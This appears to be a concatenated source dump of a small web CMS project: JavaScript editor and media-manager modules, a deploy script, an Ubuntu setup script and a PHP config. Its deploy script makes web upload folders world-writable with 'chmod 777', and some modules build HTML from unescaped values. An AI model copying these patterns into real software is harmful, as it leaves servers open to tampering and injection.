/*
* Get the HTML of `preview.html`, then translate that HTML
*/
self.getPreviewPageHtml(function translateHtml(html){
/* we have the preview page HTML now, so lets assign it
* to the tmp HTML we created earlier */
tmpHtml.innerHTML = html;
$html = $(tmpHtml);
/* if 'vocabs/[lang].json exists, add contents of vocab file to $html, then run saveTranslatedHMTL */
self.getVocabFileContents(function updateHtmlUsingVocab(vocab){
/* get html of preview page (in the iframe) */
var vocab = JSON.parse(vocab),
index = '';
/* replace meta items */
$html.find(metaSelector).each(function(el, i){
el.content = Object.values(vocab['meta'][i])[0];
/* console.log(Object.values(vocab['meta'][i])[0]); */
index = i;
});
/* update <title> tag as well */
$html.find('title').html(vocab.meta[0].title);
/* get editable items selector as a string */
cms.config.editableItems.forEach(function (el) {
editableItemSelector += el + ',';
});
editableItemSelector = editableItemSelector.slice(0, -1); /* remove trailing comma */
var sectionIndex =1;
/*
* Begin translating the HTML - replace editables with values
* from vocab file */
$html.find(editableItemSelector).each(function(el, i){
var sectionName = 'section'+sectionIndex,
prevTag = '',
elemCount = 0,
count = [];
if (vocab[sectionName]){
Object.values(vocab[sectionName]).forEach(function(vocabItem, i){
var tag = Object.keys(vocabItem)[0],
value = Object.values(vocabItem)[0],
elemToUpdate = '';
/* count each elem type, so we can reference the right ones in the vocab */
count[tag]++;
/* if tag not same as last, either set to zero if first time, or increment */
if (prevTag != tag) {
count[tag] = count[tag]++ || 0;
}
/* set to a var, so we can include in elemToUpdate */
elemCount = count[tag];
/* get the elem to update .. we will replace its values with values from vocab */
/* find the elem using its details from vocab (section name, tag type, index) */
elemToUpdate = $html.find('.'+sectionName).find(tag)[elemCount];
/* console.log(sectionName, tag, elemCount, count[tag], value, elemToUpdate); */
/* if we got an elem to update */
if (elemToUpdate) {
/* get the tag type and update the correct attribute */
if (tag == 'img' && elemToUpdate.src) elemToUpdate.src = Object.values(vocabItem)[0];
if (tag == 'source' && elemToUpdate.srcset) elemToUpdate.srcset = Object.values(vocabItem)[0];
if (tag !== 'source' && tag !== 'source' && elemToUpdate.innerHTML) elemToUpdate.innerHTML = Object.values(vocabItem)[0];
}
/* get ready for next loop */
prevTag = tag;
});
sectionIndex++;
}
});
/* We now have $html - which contains our translated HTML.
* So let's update the meta and CSS to match LANG
*/
/* get lang details for current translation LANG */
var lang = self.getCurrentService(),
langInfo = cms.getLangInfo(lang);
langInfo.code = lang;
/* workaround for chrome contenteditable bug */
$html.find('*').removeAttr('style');
/* remove from page all of the lang info that will be replaced */
$html.find('html, body').removeClass('en');
$html.find('html, body').removeAttr('dir');
$html.find('html, body').removeClass('rtl');
/* now add the correct values for lang to page */
if (langInfo.direction === 'rtl') {
$html.find('html, body').attr('dir', langInfo.direction);
$html.find('html, body').addClass(langInfo.direction);
}
/* get the HTML as a string */
html = $html.html();
/*
* Finally, send to export managaer, which wil save as
* index.[lang].html, then preview it using preview manager
*/
cms.exportManager.saveTranslatedHTML(html);
});
});
}
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ vocab_editor.js](vocab_editor.js "View in source")
<file_sep>/src/cms/js/modules/file_manager.js
// # file_manager.js
// This is a simple wrapper for [PHPFM](https://www.codeproject.com/Articles/1167761/PHPFM-A-single-file-responsive-file-manager), which loads up in a CMS modal.
// Get our JS dependencies
var $ = require('cash-dom'); /* jQuery alternative */
// Create a self reference
var self;
// Use strict setting
"use strict";
// Define CommonJS module
module.exports = {
// ## Module Methods
// ### init()
// Makes this module available globally as cms.fileManager
init: function(){
self = cms.fileManager;
return true // if we loaded ok
},
// ### showUI()
// Creates an iframe which contains PHPFM, then loads
// a CMS modal with that iframe as its main content.
showUI: function (){
/* create our iframe HTML */
var content = '\n\
<iframe id="file-manager"\n\
title="File Manager"\n\
width="100%"\n\
height="100%"\n\
frameborder="0"\n\
marginheight="0"\n\
marginwidth="0"\n\
src="phpfm.php">\n\
</iframe>';
/* load the modal, just an iframe containing local copy of PHPFM
* https://www.codeproject.com/Articles/1167761/PHPFM-A-single-file-responsive-file-manager
*/
cms.modal.create({
"title": 'File Manager',
"contents": content
});
cms.modal.show();
/* add custom styling for this CMS modal */
$('.cms-modal-viewport').addClass('cms-modal-file-manager')
},
// End of module
};
<file_sep>/build/deploy.sh
#!/bin/sh
# This file should be executed from the project root
#
# usage: deploy.sh [version] [path/to/file.pem] [user@address]
#
# example: deploy.sh 1.1.1 my-key-file.pem root@ec2-72-94-62-87.compute-1.amazonaws.com
# Set up command line options
VER=$1 # the version to install (dont include the leading 'v')
CERT=$2 # the path to your private key file (filename.pem)
ADDR=$3 # the user and address, such as root@ec2-72-94-62-87.compute-1.amazonaws.com
USAGE="deploy.sh:
Deploys the given version of 'Project-cms_VER_all.deb' to the given
remote server, using scp, then intalls it using ssh and dpkg.
Usage: deploy.sh [version] [path/to/file.pem] [user@address]
Example: deploy.sh 1.3.6 mykeyfile.pem root@ec2-72-94-62-87.compute-1.amazonaws.com"
#
# log errors to stdout
error() {
echo
echo "ERROR: $1"
exit 1
}
# we should to be in the master branch
git checkout master
#
# validation
if [ "${VER}" = "" -o "${CERT}" = "" -o "${ADDR}" = "" ];then
error "$USAGE"
fi
# check for deb file
if [ ! -f "build/Project-cms_"${VER}"_all.deb" ];then
error "Cannot find 'Project-cms_"${VER}"_all.deb'.
Make sure you are in the project root when you run this
script, and the version you give actually exists."
fi
# check for cert file
if [ ! -f "${CERT}" ];then
error "Cannot find the certificate file '$CERT'.
Make sure you have given the correct path to your private key file."
fi
#
# if we got to this stage, we should be good - we have a cert
# file, and we have a deb file, so let's attempt to copy the
# file to live environment
# copy to our live environment
echo
echo "-----------------------------------
Copying package to $ADDR"
scp -i "$CERT" "build/Project-cms_"${VER}"_all.deb" ${ADDR}:~/ || error "Could not copy package to remote server"
# Now, we'll SSH into our live env machine, and install the package:
echo
echo "-----------------------------------
Logging into server.."
ssh -i "$CERT" "$ADDR" << RUN
# remove annoying welcome ssh msg
touch ~/.hushlogin
# install the package - note it will not install unless the
# deps are met (the deps are: apache2, php5)
echo
echo "Installing Package.."
sudo dpkg -i "Project-cms_"${VER}"_all.deb" && sudo apt-get install -qqyf
# show the version we just installed on the live env
echo
echo "-----------------------------------"
echo
echo "Package version $VER installed OK!"
# make folders 777 - enables CMS uploads
sudo chmod 777 /var/www/html/demo
sudo chmod 777 /var/www/html/demo/images
sudo chmod 777 /var/www/html/demo/videos
sudo chmod 777 /var/www/html/demo/vocabs
sudo chmod 777 /var/www/html/downloads
RUN
# Finished
echo "
-----------------------------------
Done!
You have just installed Project-cms version $VER to the live server.
"
exit 0<file_sep>/setup-host-ubuntu-env.sh
#!/bin/bash
# This file will setup the developer environment on Ubuntu machines.
# It will install the following (if not already installed):
# - Sublime
# - Vagrant
# - VirtualBox
# - Chrome
# - Git
# - Ruby
# - Bundler
# - NodeJS
# - NPM
# - Ruby
set -a
BOLD="\e[1m"
RED="\e[31m"
GREEN="\e[32m"
YELLOW="\e[33m"
BLUE="\e[34m"
COL_END="\e[0m"
WORKDIR="`pwd`"
# log errors to stdout
error() {
echo -e "${RED}"
echo "Error: $1"
echo -e "${COL_END}"
exit 1
}
# check for compatible OS
function check_if_ubuntu() {
if [ ! -f /etc/os-release ];then
OS="$(gcc --version | head -1 | cut -f2 -d' ' | tr -d '(' | tr '[:upper:]' '[:lower:]')"
else
OS="$(sudo cat /etc/os-release | cut -f2 -d'=' | tr -d '"' | grep ^ubuntu)"
fi
if [ "$OS" != "ubuntu" ];then
error "OS is not Ubuntu, exiting..."
exit 1
fi
}
check_if_ubuntu
source ~/.profile
source ~/.bashrc
clear
cd $HOME
# make download dir
[ ! -d ${HOME}/Downloads ] && mkdir -p ${HOME}/Downloads
#----------------------------------------------------
echo -e $BOLD
echo "-------- HOST ENVIRONMENT SETUP --------"
echo -e $COL_END
# start installation
echo "1. Updating package list to latest"
sudo apt-get -qq update
cd ${HOME}/Downloads
echo
echo "2. Installing required packages"
# sublime
if [ "`which subl`" = "" ] ;then
echo 'Installing Sublime Text 3...'
wget -c https://download.sublimetext.com/sublime-text_build-3126_amd64.deb
sudo dpkg -i sublime-text_build-3126_amd64.deb || error "Sublime was not installed"
fi
SUBLIME_VERSION=$(subl --version)
# vagrant
if [ "`which vagrant`" = "" ] ;then
echo 'Installing Vagrant...'
wget -c https://releases.hashicorp.com/vagrant/1.8.7/vagrant_1.8.7_x86_64.deb
sudo dpkg -i vagrant_1.8.7_x86_64.deb || error "Vagrant was not installed"
fi
VAGRANT_VERSION=$(vagrant --version)
# virtualbox
if [ "`which vboxheadless`" = "" ] ;then
echo 'Installing VirtualBox...'
sudo apt-get -qq install virtualbox -y || error "VirtualBox was not installed"
fi
VBOX_VERSION=$(vboxheadless --version | head -1)
# google chrome
if [ "`which google-chrome-stable`" = "" -a "`which google-chrome`" = "" ] ;then
echo 'Installing Google Chrome...'
sudo echo 'deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main' >> /etc/apt/sources.list
wget -C -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo apt-key add linux_signing_key.pub
sudo apt update -qq
sudo apt install google-chrome-stable -y || error "Google Chrome was not installed"
fi
CHROME_VERSION=$(google-chrome-stable -version)
# git
if [ "`which git`" = "" ] ;then
echo 'Installing Git...'
sudo apt-get -qq install git -y || error "Git was not installed"
fi
GIT_VERSION=$(git --version)
# ruby
if [ "`which ruby`" = "" ] ;then
echo 'Installing Ruby...'
sudo apt-get -qq install ruby -y || error "Ruby was not installed"
fi
RUBY_VERSION=$(ruby --version)
# bundler
if [ "`which bundler`" = "" ] ;then
echo 'Installing Bundler...'
sudo apt-get -qq install bundler -y || error "Bundler was not installed"
fi
BUNDLER_VERSION=$(bundler --version)
# nodejs
if [ "`which nodejs`" = "" ] ;then
echo 'Installing NodeJS...'
sudo apt-get -qq install nodejs -y || error "NodeJS was not installed"
fi
[ ! -x /usr/bin/node ] && sudo ln -s /usr/bin/nodejs /usr/bin/node
NODEJS_VERSION=$(nodejs --version)
# npm
if [ "`which npm`" = "" ] ;then
echo 'Installing NPM...'
sudo apt-get -qq install npm -y || error "NPM was not installed"
fi
NPM_VERSION=$(npm --version)
# fix npm permission
mkdir ~/.npm-global &>/dev/null
npm config set prefix '~/.npm-global'
if [ "`cat ~/.bashrc | grep 'export PATH=~/.npm-global/bin:$PATH'`" = "" ];then
echo "" >> ~/.bashrc
echo "" >> ~/.bashrc
echo "# npm permission fix" >> ~/.bashrc
echo 'export PATH=~/.npm-global/bin:$PATH' >> ~/.bashrc
fi
[ ! -f ~/.profile ] && touch ~/.profile
if [ "`cat ~/.profile | grep 'export PATH=~/.npm-global/bin:$PATH'`" = "" ];then
echo "" >> ~/.profile
echo "" >> ~/.profile
echo "# npm permission fix" >> ~/.profile
echo 'export PATH=~/.npm-global/bin:$PATH' >> ~/.profile
fi
source ~/.profile
source ~/.bashrc
# global npm packages
if [ "`which npm`" != "" ] ;then
npm config set loglevel warn
# [ "`which eslint`" = "" ] && npm install -g eslint
# [ "`which csslint`" = "" ] && npm install -g csslint
[ "`which brunch`" = "" ] && npm install -g brunch@2.9.1
[ "`which phantomjs`" = "" ] && npm install -g phantomjs
[ "`which jdi`" = "" ] && npm install -g jdi
fi
# ESLINT_VERSION=$(eslint --version)
# CSSLINT_VERSION=$(csslint --version)
BRUNCH_VERSION=$(brunch --version)
PHANTOMJS_VERSION=$(phantomjs --version)
JDI_VERSION=$(jdi --version)
# final output
echo
echo " Installed: "
echo " $SUBLIME_VERSION"
echo " $VAGRANT_VERSION"
echo " $VBOX_VERSION"
echo " $CHROME_VERSION"
echo " $GIT_VERSION"
echo " $RUBY_VERSION"
echo " $BUNDLER_VERSION"
echo " NodeJS $NODEJS_VERSION"
echo " NPM $NPM_VERSION"
# echo " ESLint $ESLINT_VERSION"
# echo " CSSLint $CSSLINT_VERSION"
echo " Brunch $BRUNCH_VERSION"
echo " PhantomJS $PHANTOMJS_VERSION"
echo " JDI $JDI_VERSION"
echo
# clean up
echo "3. Cleaning packages"
sudo apt-get -qq autoremove
sudo apt-get -qq clean
echo
cd "$WORKDIR"
echo "4. Setting up the project source code"
echo
if [ "$(ls -A .)" = "" ];then
git clone https://github.com/sc0ttj/Project.git . || error "Could not add https://github.com/sc0ttj/Project"
fi
if [ "`cat package.json | grep '"url": "https://github.com/sc0ttj/Project"' | cut -f4 -d'"' `" = "https://github.com/sc0ttj/Project" ];then
[ -f package.json ] && npm install &>/dev/null
[ -f bower.json ] && bower update &>/dev/null
[ -f Gemfile ] && bundler &>/dev/null
else
error "Could not setup https://github.com/sc0ttj/Project"
fi
echo
echo "5. Setting up vagrant"
echo
VAGRANT_BOX=$(vagrant box list | cut -f1 -d' ' | grep 'ubuntu/trusty64')
if [ "$VAGRANT_BOX" = "" ];then
echo -e " Installing ${BOLD}'ubuntu/trusty64'${COL_END} vagrant box..."
vagrant box add ubuntu/trusty64 || error "Could not install vagrant box 'ubuntu/trusty'"
else
echo -e " Vagrant box ${BOLD}'ubuntu/trusty64'${COL_END} already installed."
fi
echo -e " Starting vagrant.. Please wait..."
[ -f Vagrantfile ] || error "Could not find ${WORKDIR}/Vagrantfile"
# create a log file
rm /tmp/vagrant.log &>/dev/null
touch /tmp/vagrant.log
# now (re)start vagrant
vagrant halt &>/dev/null
vagrant up --provision &>/tmp/vagrant.log || error "Could not start up vagrant box. Run 'cat /tmp/vagrant.log'"
echo -e " Vagrant loaded successfully."
#------------------------------------------------------
echo -e "$GREEN $BOLD
Setup Complete $COL_END
---------------------------------------------------------
Run the following command (to auto build code changes and refresh browser):
${YELLOW}brunch watch $COL_END
Edit the code in: $BLUE ${WORKDIR}/app $COL_END
View the code at: $BLUE http://localhost:8080/ $COL_END
---------------------------------------------------------
From now on, you can just run:
${YELLOW}cd $WORKDIR && vagrant up --provision
brunch watch $COL_END
(Use Ctrl-C to kill brunch watch)
If you cant see your code changes in the browser,
delete your browser cache, then run:
$YELLOW cd $WORKDIR; vagrant halt; vagrant up --provision $COL_END
Now run ${YELLOW}brunch watch${COL_END} again, or refresh http://localhost:8080 in your browser.
---------------------------------------------------------
Finished.
"
exit 0
<file_sep>/src/cms/api/config.inc.php
<?php
# this script was generated by home.php ..
# and contains some vars that the CMS can use
$page_dir = "demo";
$url_path = "/demo/";
?><file_sep>/src/cms/js/cms.js
//# cms.js
// This file is called by [index.html]() and needs a config object.
// If no config object is passed to `init()` then a default config will be used.
// First, we require in the dependencies
var $ = require('cash-dom'); /* enables a lightweight jQuery alternative */
var languages = require('modules/languages.js') /* provides list of languages (for translations) */
var loadCSS = require('modules/loadcss').init; /* enables load CSS on the fly */
var store = require('store'); /* enables cross-browser localStorage solution */
var zenscroll = require('zenscroll'); /* enables click to smooth scroll to anchor */
"use strict";
module.exports = {
// ## Default Config
// This JSON object defines the classes, containers, elements and server side URLs that the CMS should look for.
// The values in this config match values defined in the [app templates](https://github.com/sc0ttj/Project/tree/master/src/app/templates)
config: {
/* localStorage is used to make CMS page changes persistent,
* you can disable it if it is causing issues like slow page loads/edits
*/
'localStorage' : true,
/* The list of template files to make available in the Section Manager.
* These files are in https://github.com/sc0ttj/Project/tree/master/src/app/templates
*/
'templates' : [
'_hero-center.tmpl',
'_article-full-width.tmpl',
'_article-left.tmpl',
'_article-right.tmpl',
'_image-center.tmpl',
'_image-fixed.tmpl',
'_scrollmation-text-left.tmpl',
'_stat-text.tmpl',
'_youtube-full-width.tmpl',
'_video.tmpl',
'_video-full-width.tmpl'
],
/* The selector of the element which contains the added sections/templates. */
'sectionSelector' : 'body .section',
/* The HTML to use as the section/template container element */
'sectionContainer' : '<div class="section"></div>',
/* The elements the CMS will make editable (using `contenteditable`) */
'editableItems' : [
'h1',
'h2',
'p',
'blockquote',
'li'
],
/* The class to add to editable elements (used by the CMS to find editable items) */
'editableClass' : 'cms-editable',
/* The class given to elements which contain multiple editable items.
* These elements are defined in the templates, and would usually contain
* paragraphs or list items.
*/
'editableRegionClass' : 'cms-editable-region',
/* The elements to which the CMS should add a 'ADD MEDIA' button,
* which, when clicked, adds an image after the currently
* highlighted element */
'inlineMediaRegionSelector' : '.scrollmation-container p[contenteditable],.article:not(.article-right):not(.article-left) p[contenteditable]',
/* The selector to use for making image elements clickable and editable (via the CMS Image Manager) */
'responsiveImageSelector' : 'picture, .scrollmation-container, .inline-image',
/* The selector to use for making video elements clickable and editable (via the CMS Video Manager) */
'videoSelector' : 'video',
/* The classes to add to the `<body>` tag if the browser is HTML5 and modern JS capable.
* We can use these classes in the app CSS to enable CSS animations for modern browsers, for example.
*/
'mustardClass' : 'html5 js',
/* The server-side URLs which the CMS will use to POST and GET data (for uploads, etc) */
'api': {
/* The file to which images, videos and vocab files are uploaded */
'upload' : 'cms/api/upload.php',
/* The file which writes POSTed html to a .html file */
'preview' : 'cms/api/preview.php',
/* The file which saves, enables and disables page translations */
'translate' : 'cms/api/translation.php',
/* This file saves the current dir to a zip file */
'save' : 'cms/api/save.php',
/* Logout and destroy the PHP session */
'logout' : 'cms/api/logout.php'
}
},
// ## Methods
// #### getConfig()
getConfig: function (){
return this.config;
},
// #### setConfig()
// @param `config` - a JSON object like the default one above
setConfig: function (config){
this.config = config || this.config;
},
// #### init()
// @param `config` - a JSON object like the default one above
init: function(config){
this.setConfig(config);
this.pageConfig = app.pageConfig;
this.pageDir = window.location.pathname.split('/').slice(0, -1).join('/');
this.restoreProgress();
if (this.cutsTheMustard()) this.addMustard();
this.loadStylesheets();
this.setupSmoothScrolling();
/* set lang info */
this.setLang();
/* this.autoSave(); // not used */
/* Require in all the CMS modules that we need */
this.ajax = require('modules/ajaxer');
this.modal = require('modules/modal');
this.editor = require('modules/page_editor');
this.videoManager = require('modules/video_manager');
this.imageManager = require('modules/image_manager');
this.sectionManager = require('modules/section_manager');
this.metaManager = require('modules/meta_manager');
this.previewManager = require('modules/preview_manager');
this.exportManager = require('modules/export_manager');
this.templater = require('modules/templater');
this.translationManager = require('modules/translation_manager');
this.vocabEditor = require('modules/vocab_editor');
this.fileManager = require('modules/file_manager');
this.ui = require('modules/ui');
/* Initialise the modules required by the translation manager. */
this.modal.init();
this.vocabEditor.init();
this.previewManager.init();
this.exportManager.init();
/* NOTE: var 'translateOnly' was set either true or false by
* our PHP backend.. if true, the CMS should disable editing
* of the page, and only allow editing of translations.
* So, we will only load the other modules if not in translation mode.
*/
if (!cms.showTranslation() && !translateOnly){
this.editor.init();
this.videoManager.init();
this.imageManager.init();
this.sectionManager.init();
this.metaManager.init();
this.fileManager.init();
this.templater.init();
this.translationManager.init();
this.ui.init();
}
/* If the URL contains `?translate=XX`, where `XX` is a valid 2 letter
* ISO language code, then show the translation manager immediately.
*/
if (this.showTranslation()) this.vocabEditor.translatePage();
return true /* if we loaded up ok */
},
// #### setLang()
setLang: function () {
var lang = this.getLang();
this.lang = this.getLangInfo(lang),
this.lang.code = lang;
},
// #### getLang()
getLang: function () {
var lang = $('html')[0].getAttribute('lang');
lang.code = lang;
return lang || 'en';
},
// #### getLangInfo()
// @param `lang` - a 2 letter language ISO code
getLangInfo: function (lang) {
return languages[lang];
},
// #### getLanguages()
getLanguages: function () {
return languages;
},
// #### setupSmoothScrolling()
setupSmoothScrolling: function () {
var defaultDuration = 400; // ms
var edgeOffset = 0; // px
zenscroll.setup(defaultDuration, edgeOffset);
},
// #### reload()
reload: function (){
if (this.showTranslation()) return false;
cms.editor.setEditableItems(this.config.editableItems);
cms.editor.setEditableRegions(this.config.editableRegionClass);
cms.editor.setEventHandlers();
cms.videoManager.addVideoClickHandlers();
cms.imageManager.init();
app.reload();
},
// #### cutsTheMustard()
cutsTheMustard: function () {
var cutsTheMustard = (
'querySelector' in document
&& 'localStorage' in window
&& 'addEventListener' in window);
return cutsTheMustard;
},
// #### addMustard()
addMustard: function (){
document.getElementsByTagName('body')[0].classList.add('cms-html5');
},
// #### loadStylesheets()
loadStylesheets: function (){
var stylesheets = [ 'cms/css/vendor.css', 'cms/css/cms.css' ];
stylesheets.forEach(function(val){
loadCSS(val);
});
},
// #### showTranslation()
showTranslation: function (){
if (this.getQueryVariable('preview') != '') return true;
return false;
},
// #### autoSave()
autoSave: function () {
if (this.showTranslation()) return false;
setInterval(this.saveProgress, 30000);
},
// #### saveProgress()
// Get the current HTML of the page being edited and save that HTML to localStorage
saveProgress: function(){
if (cms.showTranslation()) return false;
if (!cms.config.localStorage) return false;
var $html = $('body').clone(),
$head = $('head').clone(),
html = '';
/* Here we clean up the HTML we got from the page, by
* removing any CMS elems, classes etc. Then we reset various
* things to their initial page load state.
*/
$html.find('.cms-menu-container, .cms-menu, .cms-modal, .cms-media-btn, .cms-menu-btn').remove();
$html.find('#cms-init, link[href^="cms"]').remove();
/* reset page to defaults */
$html.find('body').removeClass('js');
$html.find('.video-overlay').removeClass('hidden');
$html.find('.video-overlay-button').html('▶');
$html.find('*').removeClass('scrollmation-image-container-fixed');
/* get cleaned up html */
html = $html.html();
html = cms.exportManager.cleanupWhitespace(html);
/* save cleaned up html to localstorage */
store.set(this.pageDir + '__head', $head.html());
store.set(this.pageDir, html);
/* console.log('Saved progress..'); */
},
// #### restoreProgress()
// Get HTML for this page from localStorage if it exists, then replace the page HTML with the saved version.
restoreProgress: function(){
var html = store.get(this.pageDir), // our namespaced HTML in storage
head = store.get(this.pageDir + '__head'), // our namespaced head HTML in storage
restored = false;
if (!cms.config.localStorage) return false;
if (html) {
$('body').html(html);
restored = true;
}
if (head) {
$('head').html(head);
restored = true;
}
if (restored) app.reload();
},
// #### getQueryVariable()
getQueryVariable: function (variable) {
/* https://css-tricks.com/snippets/javascript/get-url-variables/ */
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
},
};<file_sep>/docs/cms/js/modules/video_manager.js.md
# video_manager.js
This CMS module loads up a Video Manager when a user clicks on a video in the page (index.html).
Users can replace any video using the video manager - click the upload
button below the source file you want to change, and choose a new file.
Clickable videos are the ones the CMS can find using the `videoSelector`
option in the [CMS config](https://github.com/sc0ttj/Project/blob/master/src/cms/js/cms.js#L20-L102).
Users can then upload and replace any videos that they have clicked in the page.
The Video Manager will show all source videos, and each can be replaced with a new
uploaded video.
You can also replace the poster image with a new image.
## Begin script
Get our JS dependencies
```js
var $ = require('cash-dom');
```
Create a persistent self reference to use across all module mthods
```js
var self;
```
Use strict setting
```js
"use strict";
```
Define the CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
Makes this module available globally as cms.fileManager,
then adds click handlers to all videos that the CMS can find
```js
init: function(){
self = this;
self.addVideoClickHandlers();
},
```
### addVideoClickHandlers()
Get all videos on the page and assign a function to execute when they're clicked.
```js
addVideoClickHandlers: function () {
var $videos = $(cms.config.videoSelector);
$videos.off('click', self.videoClickHandler);
if ($videos.length > 0) {
$videos.addClass('cms-editable-video');
$videos.on('click', self.videoClickHandler);
}
},
```
### videoClickHandler()
Get the source files for the clicked video, create form fields from those
source files, then pass those form fields to the `showUI()` function.
This is the function that is assigned to videos on the page.
This function is executed when videos are clicked.
```js
videoClickHandler: function (e) {
var video = this,
videoSrcElems = self.getVideoSourceElems(video),
sourceInputFields = [],
sourceInputFields = self.createFieldsFromVideoSrcElems(videoSrcElems);
if (sourceInputFields.length > 0) {
self.currentVideo = video;
self.showUI(sourceInputFields);
}
},
```
### getVideoSourceElems()
Returns the source elements of the clicked video as an HTML Collection.
@param `video` - the video element that was clicked
@return `videoSourceElems` - an HTML Collection of `<source>` and `<img>` elems.
```js
getVideoSourceElems: function (video) {
var videoSourceElems = $(video).children('source, img');
return videoSourceElems;
},
```
### createFieldsFromVideoSrcElems()
Take an HTML Collection of the `<source>` and `<img>` elems associated
with the clicked image, then builds and returns these elems as form fields,
as an array of HTML strings.
@param `videoSrcElems` - an HTML Collection of the `<source>` and `<img>` elems within a `<video>` elem
@return `fields` - an array form fields, each as a string of HTML
```js
createFieldsFromVideoSrcElems: function (videoSrcElems) {
if (videoSrcElems.length < 1) return '';
var fields = [];
/* create html for each src elem */
for (var i=0; i < videoSrcElems.length; i++){
var $source = $(videoSrcElems[i]),
tag = videoSrcElems[i].tagName,
type = $source.attr('type'),
src = $source.attr('src');
if (tag === 'IMG'){
fields[i] = '<img class="cms-modal-input" id="video-poster" src="' + src + '" />';
} else {
fields[i] = '<input class="cms-modal-input" id="video-source-' + i + '" data-type="'+type+'" data-index="'+i+'" value="' + src + '" />';
}
}
return fields;
},
```
### showUI()
Create the Video Manager modal popup contents, then show the modal,
and add the event handler functions to the upload buttons.
@param `sourceInputFields` - array of HTML strings (each item is a form field)
```js
showUI: function (sourceInputFields) {
var modalContent = '';
/* for each video source src file */
sourceInputFields.forEach(function (formItem, i){
var headerTxt = $(formItem).data('type'),
tagName = $(formItem)[0].tagName,
uploadBtn = self.createUploadBtn(i),
uploadPosterBtn = self.createUploadPosterBtn(i),
headerHtml = '<p class="cms-modal-title">' + headerTxt + '</p>';
/* build file list */
if (headerTxt) modalContent += headerHtml;
modalContent += formItem;
if (tagName === 'IMG') modalContent += uploadPosterBtn;
if (tagName === 'INPUT') modalContent += uploadBtn;
});
/* load modal */
cms.modal.create({
title: 'Video Manager',
contents: modalContent
});
cms.modal.show();
/* add event handlers for input buttons */
var $fileBtns = $('.cms-modal-upload-btn');
$fileBtns.each(function (fileBtn){
var $fileBtn = $(fileBtn);
self.fileBtnClickHandler($fileBtn);
});
/* add handler for uplaod poster btn */
self.posterImgBtnClickHandler($('.cms-modal-upload-poster-btn'));
},
```
### fileBtnClickHandler()
Get the file chosen to be uploaded, get its attributes, then
set the chosen file as the current file to work on,
then update the upload buttons and finally upload the chosen file.
@param `$fileBtn` - cashJS object, the button to assign the event handler
```js
fileBtnClickHandler: function ($fileBtn) {
/* force upload on choosing a file */
$fileBtn.on('change', function uploadBtnChangeHandler(e){
var file = this.files[0];
if (!file) return false;
/*
* set the filename and URL of the file to upload, then
* get the video source index - this tells us which source file
* is being updated (0, 1, etc) */
var filename = this.files[0].name,
videoUrl = 'videos/'+filename,
$input = $(this).parent().prev('input'),
$inputId = $input.attr('id'),
videoSrcIndex = $('#'+$inputId).data('index');
/* set current file info, make available to all methods */
self.currentVideoUrl = videoUrl;
self.currentSrcElem = videoSrcIndex;
/* set current upload button info */
self.$currentBtn = $(this).prev('label');
self.$currentBtns = $('.cms-modal-upload-label');
/* update the buttons, cancel other buttons, show upload progress in
* the currently focused button */
self.updateUploadBtns(self.$currentBtn, self.$currentBtns);
/* upload the file */
$fileBtn.prop('disabled', true);
self.uploadFile(e, file);
$fileBtn.prop('disabled', false);
});
},
```
### updateUploadBtns()
Update the buttons during upload - disabled all buttons except the
currently focused button, adds spinner to focused button
@param `$btn` - cashJS object, the current upload button
(the one that was clicked)
@param `$btns` - HTML Collection, all the upload buttons
```js
updateUploadBtns: function($btn, $btns){
$btn.removeClass('cms-modal-upload-label-error');
$btn.addClass('cms-modal-upload-label-uploading');
$($btn).parent().children('.cms-loader').removeClass('cms-loader-hidden');
$btns.css('pointer-events', 'none');
},
```
### uploadFile()
Upload the video - POST the video file to the server side
```js
uploadFile: function (e, file){
var formData = new FormData(this);
formData.append('video', file, file.name);
/* prevent redirect and do ajax upload */
e.preventDefault();
cms.ajax.create('POST', cms.config.api.upload);
self.setUploadEventHandlers();
cms.ajax.send(formData);
},
```
### setUploadEventHandlers()
Add the onProgress, onSuccess and onError event handlers to the
upload event. The onProgress handler displays the upload progress as a %,
the onSuccess handler will update the video HTML on the page, and then reset
the upload buttons.
```js
setUploadEventHandlers: function () {
var btn = self.$currentBtn,
btns = self.$currentBtns;
var onProgressHandler = function (e) {
var ratio = Math.floor((e.loaded / e.total) * 100) + '%';
btn.html('Uploading '+ratio);
};
var onSuccessHandler = function (responseText){
console.log(responseText);
/* update the video that was clicked on the page */
self.updateVideoOnPage();
/* update the form input value for the changed source elem */
$('#video-source-' + self.currentSrcElem).val(self.currentVideoUrl);
/* reset the buttons */
btn.html('Upload video');
btn.removeClass('cms-modal-upload-label-uploading');
$(btn).parent().children('.cms-loader').addClass('cms-loader-hidden');
btns.css('pointer-events', 'all');
};
var onErrorHandler = function (responseText){
console.log(responseText);
/* reset the buttons */
btn.html('Upload error');
btn.addClass('cms-modal-upload-label-error');
$(btn).parent().children('.cms-loader').addClass('cms-loader-hidden');
};
cms.ajax.onProgress(onProgressHandler);
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
},
```
### updateVideoOnPage()
Get the video that we're editing in the page as a cashJS object, then
get the specific `<source>` element to change, and finally update the
video source elem with the URL of the newly uploaded video.
```js
updateVideoOnPage: function(){
/* add img to src or srcset in main page */
var videoToUpdate = $(self.currentVideo),
$videoToUpdate = $(videoToUpdate),
srcVideoToUpdate = $videoToUpdate.children('source').eq(self.currentSrcElem)[0];
/* if we didn't find a <source> elem, look again for a lone one */
if (!srcVideoToUpdate) srcVideoToUpdate = $videoToUpdate.children('source').eq(self.currentSrcElem);
/* update the elem with the URL of the newly uploaded video */
$(srcVideoToUpdate).attr('src', self.currentVideoUrl);
},
```
### posterImgBtnClickHandler()
Get the file chosen to be uploaded, get its attributes, then
set the chosen file as the current file to work on,
then update the upload buttons and finally upload the chosen file.
@param `$posterImgBtn` - cashJS object, the button to assign the event handler
```js
posterImgBtnClickHandler: function ($posterImgBtn) {
/* force upload on choosing a file */
$posterImgBtn.on('change', function uploadBtnChangeHandler(e){
var file = this.files[0];
if (!file) return false;
/*
* set the filename and URL of the file to upload, then
* get the image source index - this tells us which source file
* is being updated (0, 1, etc) */
var filename = this.files[0].name,
imgUrl = 'images/'+filename,
$previewImg = $(this).parent().prev('img'),
